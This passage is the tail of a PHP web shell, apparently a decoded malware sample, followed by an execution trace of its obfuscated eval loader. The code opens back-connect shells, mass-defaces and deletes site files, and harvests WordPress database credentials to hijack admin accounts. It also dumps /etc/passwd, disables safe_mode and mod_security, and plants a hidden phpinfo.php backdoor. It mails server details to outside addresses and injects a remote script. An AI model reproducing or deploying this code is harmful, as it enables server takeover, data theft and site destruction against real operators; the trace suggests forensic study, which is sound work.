ex(\"gcc -o /tmp/bc /tmp/bc.c\");\r\n\t\t\t@unlink(\"/tmp/bc.c\");\r\n\t\t\t\$asciifnc7 .= ex(\"/tmp/bc \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$asciifnc7\".ex(\"ps aux | grep bc\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bcp') {\r\n\t\t\tcf(\"/tmp/bc.pl\",\$back_connect_p);\r\n\t\t\t\$asciifnc7 = ex(which(\"perl\").\" /tmp/bc.pl \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$asciifnc7\".ex(\"ps aux | grep bc.pl\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bcpy') {\r\n\t\t\tcf(\"/tmp/bc.py\",\$back_connect_p);\r\n\t\t\t\$asciifnc7 = ex(which(\"perl\").\" /tmp/bc.py \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$asciifnc7\".ex(\"ps aux | grep bc.py\").\"</pre>\";\r\n          }\r\n\t}\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END\r\n\r\n\r\nif (isset(\$_REQUEST['mas'])) {\r\n\r\n@ini_set('error_log', NULL);\r\n@ini_set('log_errors', 0);\r\n@ini_set('max_execution_time', 0);\r\n@ini_set('output_buffering', 0);\r\n@ini_set('display_errors', 0);\r\necho \"<center><form action=\\\"\\\" method=\\\"post\\\"> \";\r\nfunction edit_file(\$file, \$index) {\r\n    if (is_writable(\$file)) {\r\n        clear_fill(\$file, \$index);\r\n        echo \"<Span style='color:green;'><strong> [+] Done 100% Successfull </strong></span><br></center>\";\r\n    } else {\r\n        echo \"<Span style='color:red;'><strong> [-] Failed :( </strong></span><br></center>\";\r\n    }\r\n}\r\nfunction hapus_Massal(\$dir, \$namafile) {\r\n    if (is_writable(\$dir)) {\r\n        \$dira = scandir(\$dir);\r\n        foreach (\$dira as \$dirb) {\r\n            \$dirc = \"\$dir/\$dirb\";\r\n            \$lokasi = \$dirc . '/' . \$namafile;\r\n            if (\$dirb === '.') {\r\n                if (file_exists(\"\$dir/\$namafile\")) {\r\n                    unlink(\"\$dir/\$namafile\");\r\n                }\r\n            } elseif (\$dirb === '..') {\r\n                if (file_exists(\"\" . dirname(\$dir) . \"/\$namafile\")) {\r\n                    unlink(\"\" . dirname(\$dir) . \"/\$namafile\");\r\n                }\r\n            } else {\r\n                if (is_dir(\$dirc)) {\r\n                    if (is_writable(\$dirc)) {\r\n                        if (file_exists(\$lokasi)) {\r\n                            echo \"[<font color=red>DELETED</font>] \$lokasi<br>\";\r\n                            unlink(\$lokasi);\r\n                            \$idx = hapus_Massal(\$dirc, \$namafile);\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nfunction clear_fill(\$file, \$index) {\r\n    if (file_exists(\$file)) {\r\n        \$handle = fopen(\$file, 'w');\r\n        fwrite(\$handle, '');\r\n        fwrite(\$handle, \$index);\r\n        fclose(\$handle);\r\n    }\r\n}\r\nfunction gass() {\r\n    global \$dirr, \$index;\r\n    chdir(\$dirr);\r\n    \$me = str_replace(dirname(__FILE__) . '/', '', __FILE__);\r\n    \$files = scandir(\$dirr);\r\n    \$notallow = array(\".htaccess\", \"www\", \"Web.Config\", \"UMD.php\", \"Web.config\", \"web.config\", \"web.Config\", \"..\", \".\");\r\n    sort(\$files);\r\n    \$n = 0;\r\n    foreach (\$files as \$file) {\r\n        if (\$file != \$me && is_dir(\$file) != 1 && !in_array(\$file, \$notallow)) {\r\n            echo \"<center><Span style='color: #8A8A8A;'><strong>\$dirr/</span>\$file</strong> ====> \";\r\n            edit_file(\$file, \$index);\r\n            flush();\r\n            \$n = \$n + 1;\r\n        }\r\n    }\r\n    echo \"<br>\";\r\n    echo \"<center><br><h3>\$n Files Defaced </h3></center><br> \";\r\n}\r\nfunction ListFiles(\$dirrall) {\r\n    if (\$dh = opendir(\$dirrall)) {\r\n        \$files = Array();\r\n        \$inner_files = Array();\r\n        \$me = str_replace(dirname(__FILE__) . '/', '', __FILE__);\r\n        \$notallow = array(\$me, \".htaccess\", \"www\", \"Web.Config\", \"UMD.php\", \"Web.config\", \"web.config\", \"web.Config\");\r\n        while (\$file = readdir(\$dh)) {\r\n            if (\$file != \".\" && \$file != \"..\" && \$file[0] != '.' && !in_array(\$file, \$notallow)) {\r\n                if (is_dir(\$dirrall . \"/\" . \$file)) {\r\n                    \$inner_files = ListFiles(\$dirrall . \"/\" . \$file);\r\n                    if (is_array(\$inner_files)) \$files = array_merge(\$files, \$inner_files);\r\n                } else {\r\n                    array_push(\$files, \$dirrall . \"/\" . \$file);\r\n                }\r\n            }\r\n        }\r\n        closedir(\$dh);\r\n        return \$files;\r\n    }\r\n}\r\nfunction gass_all() {\r\n    global \$index;\r\n    \$dirrall = \$_POST['d_dir'];\r\n    foreach (ListFiles(\$dirrall) as \$key => \$file) {\r\n        \$file = str_replace('//', \"/\", \$file);\r\n        echo \"<center><strong>\$file</strong> ===>\";\r\n        edit_file(\$file, \$index);\r\n        flush();\r\n    }\r\n    \$key = \$key + 1;\r\n    echo \"<center><br><h3>\$key Files Defaced </h3></center><br>\";\r\n}\r\nfunction sabun_Massal(\$dir, \$namafile, \$isi_script) {\r\n    if (is_writable(\$dir)) {\r\n        \$dira = scandir(\$dir);\r\n        foreach (\$dira as \$dirb) {\r\n            \$dirc = \"\$dir/\$dirb\";\r\n            \$lokasi = \$dirc . '/' . \$namafile;\r\n            if (\$dirb === '.') {\r\n                file_put_contents(\$lokasi, \$isi_script);\r\n            } elseif (\$dirb === '..') {\r\n                file_put_contents(\$lokasi, \$isi_script);\r\n            } else {\r\n                if (is_dir(\$dirc)) {\r\n                    if (is_writable(\$dirc)) {\r\n                        echo \"<font color=red>[ DONE ] </font><font color=white> \$lokasi</font><br>\";\r\n                        file_put_contents(\$lokasi, \$isi_script);\r\n                        \$idx = sabun_Massal(\$dirc, \$namafile, \$isi_script);\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif (\$_POST['Mass'] == 'onedir') {\r\n    echo \"<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\r\n\";\r\n    \$ini = \"http://\";\r\n    \$mainpath = \$_POST[d_dir];\r\n    \$file = \$_POST[d_file];\r\n    \$dir = opendir(\"\$mainpath\");\r\n    \$code = base64_encode(\$_POST[script]);\r\n    \$indx = base64_decode(\$code);\r\n    while (\$row = readdir(\$dir)) {\r\n        \$start = @fopen(\"\$row/\$file\", \"w+\");\r\n        \$finish = @fwrite(\$start, \$indx);\r\n        if (\$finish) {\r\n            echo \"\$ini\$row/\$file\r\n\";\r\n        }\r\n    }\r\n    echo \"</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n\";\r\n    \$mainpath = \$_POST[d_dir];\r\n    \$file = \$_POST[d_file];\r\n    \$dir = opendir(\"\$mainpath\");\r\n    \$code = base64_encode(\$_POST[script]);\r\n    \$indx = base64_decode(\$code);\r\n    while (\$row = readdir(\$dir)) {\r\n        \$start = @fopen(\"\$row/\$file\", \"w+\");\r\n        \$finish = @fwrite(\$start, \$indx);\r\n        if (\$finish) {\r\n            echo '<a href=\"http://' . \$row . '/' . \$file . '\" target=\"_blank\">http://' . \$row . '/' . \$file . '</a><br>';\r\n        }\r\n    }\r\n} elseif (\$_POST['Mass'] == 'sabunkabeh') {\r\n    gass();\r\n} elseif (\$_POST['Mass'] == 'hapusMassal') {\r\n    hapus_Massal(\$_POST['d_dir'], \$_POST['d_file']);\r\n} elseif (\$_POST['Mass'] == 'sabunmematikan') {\r\n    gass_all();\r\n} elseif (\$_POST['Mass'] == 'Massdeface') {\r\n    echo \"<div style='margin: 5px auto; padding: 5px'>\";\r\n    sabun_Massal(\$_POST['d_dir'], \$_POST['d_file'], \$_POST['script']);\r\n    echo \"</div>\";\r\n} else {\r\n    echo \"\t<style>\r\n\tinput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n</style><font face='Open Sans' color='#ffb101' size='3' >Select Type:</font><br><select class=\\\"select\\\" name=\\\"Mass\\\"  style=\\\"width: 300px;  height=\\\"10\\\" ><option value=\\\"onedir\\\">Mass Deface 1 Dir</option>\t<option value=\\\"Massdeface\\\">Mass Deface ALL Dir</option><option value=\\\"sabunkabeh\\\">Current Dir All Files</option>\t<option value=\\\"sabunmematikan\\\">Replace Everything With Deface</option><option value=\\\"hapusMassal\\\">Mass Delete Files</option></select><br><font face='Open Sans' color='#ffb101' size='3' >Folder:</font><br><input name='d_dir' value='\" . getcwd() . \"' required='' type='text' style='width: 300px;  height='10'><br><font face='Open Sans' color='#ffb101' size='3' >Filename:</font><br><input type='text' name='d_file' value='index.html' style='width: 300px;  height='10'><br><font face='Open Sans' color='#ffb101'  size='3' >index File:</font><br>\r\n\r\n\t<textarea name='script' style='width: 650px; height: 200px;'></textarea><br>\r\n\r\n\t<input type='submit' name='start' value='Mass Deface'></form></div>\";\r\n}\r\n    die;\r\n}\r\n\r\nif (isset(\$_REQUEST['user'])) {\r\necho\"\r\n<style>\r\n@import 'https://fonts.googleapis.com/css?family=Open+Sans';\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #ffb101;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Open Sans;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Open Sans;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Open Sans;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Open Sans;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #ffb101;\r\n}\r\nform{\r\n\tmargin-top: 10px;\r\n}\r\n\r\n\r\ninput[type=text]{\r\n\tfont-family:Open Sans;\r\n\twidth: 350px;\r\n\theight: 20px;\r\n\tpadding: 5px;\r\n\tfont-size:13px;\r\n}\r\n\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:25px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Open Sans;\r\n\ttext-shadow:0px 0px 20px red;\r\n}\r\n</style>\r\n</head>\r\n<center>\r\n\r\n<form method='post'>\r\n<input type='text' name='config' placeholder='http://www.site.com/sym404'>\r\n<br><br>\r\n<input type='submit' name='ch' value='Change Admin'>\r\n</form>\r\n</center>\";\r\n\r\nset_time_limit(0);\r\nerror_reporting(0);\r\nif (\$_POST['ch']) {\r\n    \$get2 = file_get_contents(\$_POST['config']);\r\n    preg_match_all('#<a href=\"(.*?)\"#', \$get2, \$config);\r\n    foreach (\$config[1] as \$don) {\r\n        \$get = file_get_contents(\$_POST['config'] . \"/\" . \$don);\r\n        preg_match_all(\"#'DB_HOST', '(.*?)'#\", \$get, \$host);\r\n        foreach (\$host[1] as \$don) {\r\n            \$host = \$don;\r\n        }\r\n        preg_match_all(\"#'DB_PASSWORD', '(.*?)'#\", \$get, \$pass);\r\n        foreach (\$pass[1] as \$done) {\r\n            \$password = \$done;\r\n        }\r\n        preg_match_all(\"#'DB_USER', '(.*?)'#\", \$get, \$user);\r\n        foreach (\$user[1] as \$done1) {\r\n            \$user = \$done1;\r\n        }\r\n        preg_match_all(\"#'DB_NAME', '(.*?)'#\", \$get, \$name);\r\n        foreach (\$name[1] as \$done2) {\r\n            \$name = \$done2;\r\n        }\r\n        preg_match_all(\"#\$table_prefix  = '(.*?)'#\", \$get, \$prefix);\r\n        foreach (\$prefix[1] as \$done3) {\r\n            \$prefix = \$done3;\r\n        }\r\n        \$connect = mysqli_connect(\$host, \$user, \$password, \$name);\r\n        if (\$connect) {\r\n            \$query1 = mysqli_query(\$connect, \"select * from \" . \$prefix . \"options where option_name='siteurl'\");\r\n            while (\$siteurl = mysqli_fetch_array(\$query1)) {\r\n                \$site_url = \$siteurl['option_value'];\r\n            }\r\n            \$query2 = mysqli_query(\$connect, \"update \" . \$prefix . \"users set user_login='admin',user_pass='a09ac1f98189b89fd578b4fca7bf8bb2'\");\r\n            if (\$query2) {\r\n                echo \"<center><span class=f>URL : <a href='\$site_url/wp-login.php' target='_blank'>\$site_url/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>\";\r\n            }\r\n        }\r\n    }\r\n}\r\n echo\"</body></html>\";\r\n\r\n    die;\r\n}\r\n\r\nif (isset(\$_REQUEST['reseller'])) {\r\n\$name=\"ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==\"; \$str=\"==wkrzGf3Uo9nEg/syVmQa32vARsg2IE/GongruHmL3Clo45Onzs9H83i9V6ST+aYLo0cpZ8wyoXh/er2I/tAYQ4HRM2S/e1bSaQieZXn5Qybba6NfyF7DS/Ha1mb2uSv8vVVqHzipPzvNbmykqPoPgu2ZP4Xp6I/F9G7vFpvDuhfO0qkjy04UhhuMY6T1xPhECgPXd8X0igTVA7nIfQuhQnO8UjBD7g2jd373kjb7VZcedprTlFk8M8X2qBNCtBMXYB60MyoxTTgOL7pQzSst2K83anMG7mjuBNtjhwTE42a5gdCji7lb5ITVsO+tWQsuRo00L0X7TJ8AaohLYufDES5Y23JcLxbTsGACNSMrpkdzA3i1YaMCIGeRDoLAdv+ZQdGFnxFa1xaIFUlkAZWROw/cLv5zGBOQzDyyJ4dZtthgWHj9pTOHZ1pNVWLgo9eIQQTjMwq4qd032QwW8GDVvkWeO4278Gty5dblTbsRufuVSnbdJJeNEPmsPq1PPftAFtfsDN8G73sYLMQre3nCS3XQZ1uZCqrdB/GF3ou0iuS/qcQwCoMVoLsy+R3VkKXajn/OU8s7H3+8xt3d7jQ+3tvEOhCLUtbs0RXtGiRFSezm7G63/fhAcy+Koc3267LtMkH1Y70PZT+sv02XeiRFSFqZGgxQk5tWrrdYxugocyiGKprdI2/00FOJ3wXwdzmFUIhJtQTm8UzldowIyAJZrLXvwNtaWDDzKZaHmFk8hO+xyZWMLa/5yTHO7T1OKn2pFOOPrHSzwVa2N4IOWIhFHew5eNewVQsVu8vXJLGss5vbouel0ch6lA6fv5u8+7J8NCUZtzmcqOjjdqkZxyDdAWCvKLuNITXII+CxCnWNAkHnVmfUdCIezQD88pNZ5L7b011YmtLQZ/PNR0lCzWyNFNrWRUhSMzH2qAUW6UEYSaKqL7rtSdhIGyYDUVvJKArSnmgv+ZSwlafrQyltEIXb8FyNQjpGoXHIRWlQu2dz4nCRd2L3bpJpkZ3SHF6G+L8Z2afVA5+hoHQ2UhfUUviH4UKGaO7eROlqi5WQV7608/a+5s24HYJnY50KGi416DJ/sSwrZKdxA6zuzSjsyiIX/UUmGaewQ90DM3cOexhTi0bhTBHfigWmIr62OQCX1I/FuGyA60TU8owe2h8S29AvVDG32kaSaKi9YG8Q28IzembYcTbRA7afUGywTSzsYMTWZm9heyNYuZzjDcUvEYsEFQ7SRObIilJP0Ofj/GWWLJKUCCIiqlDKAb9YxmP02h2Cp9evcYh5+kSSi3IVQVB+Pgb3DE2MubBbV7ciH/oMw1BwJe83xAiHA/YMw5Bw/EDweA\"; \$text = \"Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA==\"; eval (gzinflate(base64_decode(\$text))); die;\r\n}\r\n\r\nif (isset(\$_REQUEST['passwd'])) {\r\n@ini_set('error_log', NULL);\r\n@ini_set('log_errors', 0);\r\n@ini_set('max_execution_time', 0);\r\n@ini_set('output_buffering', 0);\r\n@ini_set('display_errors', 0);\r\n echo '<center>';\r\n        echo \"<textarea class='inputz' cols='90' rows='20'>\";\r\n        for (\$uid = 0;\$uid < 60000;\$uid++) {\r\n            \$ara = posix_getpwuid(\$uid);\r\n            if (!empty(\$ara)) {\r\n                while (list(\$key, \$val) = each(\$ara)) {\r\n                    print \"\$val:\";\r\n                }\r\n                print \"\r\n\";\r\n            }\r\n        }\r\n        echo \"</textarea><br><br>\";\r\n\r\n    die;\r\n}\r\nif (isset(\$_REQUEST['disabled'])) {\r\necho \"<html>\r\n\r\n<head>\r\n<meta http-equiv='pragma' content='no-cache'>\r\n</head><body>\";\r\n\r\n\$fp = fopen(\"php.ini\",\"w+\");\r\nfwrite(\$fp,\"safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF \");\r\necho \"<center><b><font color='white' size='4'>[SafeMode Done]</font></center>\";\r\necho (\"\");\r\n\r\n\$fp2 = fopen(\".htaccess\",\"w+\");\r\nfwrite(\$fp2,\"\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n\");\r\n\r\n\r\necho \"<center><b> <font color='white' size='4'>[Mod_Security Done]</font></center>\";\r\n    die;\r\n}\r\nif (isset(\$_REQUEST['sym'])) {\r\nerror_reporting(0);\r\n\$sym_dir = mkdir('priv_sympy', 0755);\r\nchdir('priv_sympy');\r\n\$file_sym = \"sym.py\";\r\n\$sym_script = \"Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==\";\r\n\$sym = fopen(\$file_sym, \"w\");\r\nfwrite(\$sym, base64_decode(\$sym_script));\r\nchmod(\$file_sym, 0755);\r\n\$khoer = exec(\"python sym.py\");\r\necho \"<br><center><font color='white'>Done ...</font> <a href='priv_sympy/sym/' target='_blank'><font color='#ffb101'>Click Here</font> </a>\";\r\n    die;\r\n}\r\n// xd\r\nif( empty(\$_POST['a']) )\r\n\tif(isset(\$asciifnc3) && function_exists('action' . \$asciifnc3))\r\n\t\t\$_POST['a'] = \$asciifnc3;\r\n\telse\r\n\t\t\$_POST['a'] = 'FilesMan';\r\nif( !empty(\$_POST['a']) && function_exists('action' . \$_POST['a']) )\r\n\tcall_user_func('action' . \$_POST['a']);\r\n?>\r\n<?php\r\n\r\n\$ikrhtfy = \$_SERVER[\"DOCUMENT_ROOT\"].'/'.'phpinfo.php';\r\n\r\n\r\n\$fghky_ouvcbt = '<?php phpinfo();\r\n\r\n\r\n\$gz = \"ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==\";\r\n\$gzinflate = \"=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3YtoOCJcosuAHEtpAimJmdmoFCB2NZlgqVobRLXemwlekB8PSBazZLFbIHPfRsqapn5Z2WFCGLcWb5Ls9hJahXA7YV+RHfRiYvgTQpUFHyk8tcxG2ovhQOTquhQ66yaMV9H6FEhemC6vu7woIlYFCFlmOADdmcnyI39588cbGYIw42qSs//TI4HhYD0z0ItUW6T0Zs4GozL1SjnL3tNWA5gc9D9v0HFwI8adFVbcin/sGwUBwJe+HaAeFg/cGwYB4/lBgWA\";\r\neval(htmlspecialchars_decode(urldecode(base64_decode(\$gz))));\r\n\r\n?>'; \r\n\r\n\r\n\r\nif (!file_exists(\$ikrhtfy)){  \r\n   \r\ntouch(\$ikrhtfy); \r\nchmod(\$ikrhtfy,0666); \r\n   \r\n} \r\n\r\n\$opazxcdnm = fopen(\$ikrhtfy,\"w\"); \r\n\r\nif (!fwrite(\$opazxcdnm,\$fghky_ouvcbt)){ \r\n\r\nexit; \r\n\r\n}\r\n\r\n\$b = \"Soldier'ss\";\r\n\$c = \"Dosya Yolu : \" . \$_SERVER['DOCUMENT_ROOT'] . \"\r\n\";\r\n\$c.= \"Server Admin : \" . \$_SERVER['SERVER_ADMIN'] . \"\r\n\";\r\n\$c.= \"Server isletim sistemi : \" . \$_SERVER['SERVER_SOFTWARE'] . \"\r\n\";\r\n\$c.= \"Shell Link : http://\" . \$_SERVER['SERVER_NAME'] . \$_SERVER['PHP_SELF'] . \"\r\n\";\r\n\$c.= \"Avlanan Site : \" . \$_SERVER['HTTP_HOST'] . \"\r\n\";\r\nmail(\"hacklinksatis@gmail.com\", \$b, \$c);\r\nmail(\"burdayimreis@gmail.com\", \$b, \$c);\r\necho \"<SCRIPT SRC=http://teledramasinhala.com/img/icons/image.js></SCRIPT>\";\r\n?>\r\n\r\n");
exit;

Execution traces

data/traces/3e627ceaede43a88f87f16760c48505a_trace-1676259889.709.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:45:15.606802]
1	0	1	0.000157	393528
1	3	0	0.000614	468136	{main}	1		/var/www/html/uploads/prv8new.php	0	0
1		A						/var/www/html/uploads/prv8new.php	2	$gz = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/prv8new.php	3	$gzinflate = '=EHCLzmzeQldA8v1yH/3hfwiCE1jnavFec5NTE9tDRQVe0GFzdwwVmzlFx24O1iEVRyctnXPNftq9ptVrHZ7PCtW6uENVdrIa9OJ+2NyoH+5WhdGpKMJ584+UM3m/tS4sciMD9WUORD4E4lDN9rfl3UG0LmHpOtjRGaXaeMPelL6bfZaKnzf95dBJI3E/tOBLhurqmTrBCuLW0Ol/JWr6h0aUK9RtFbzNQhcVxWVF4VaR5LbX/P5weWHjE5eDaIwHQobqZFQbmjDM7ouhcPB2gU9ugqYqlzbhxbpDh/Fob38GVhkMpuB/t0xG2e24BVIFvxtnII09o3juHC7GeDgApuDH/4LDHdgqDCruR0wbofM/kfcTnoMklu7SefKeC9AfmoQCHujPN/9DFWR7s/u9+lXNfa0LfvMkRT6U8Q4Pdf59Nyu7urv4Z5JPpXpui7tbzi5BRV4BViNeTuwefaFYPVxUy38qP6x84JthG15VsiLlJCvWCQ9lGGMA61QLOhm'
2	4	0	0.000722	468136	base64_decode	0		/var/www/html/uploads/prv8new.php	4	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.000744	468424
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	0	0.000766	468392	urldecode	0		/var/www/html/uploads/prv8new.php	4	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	1	0.000785	468648
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	0	0.000805	468360	htmlspecialchars_decode	0		/var/www/html/uploads/prv8new.php	4	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	1	0.000823	468584
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	7	0	0.000854	470712	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'	/var/www/html/uploads/prv8new.php	4	0
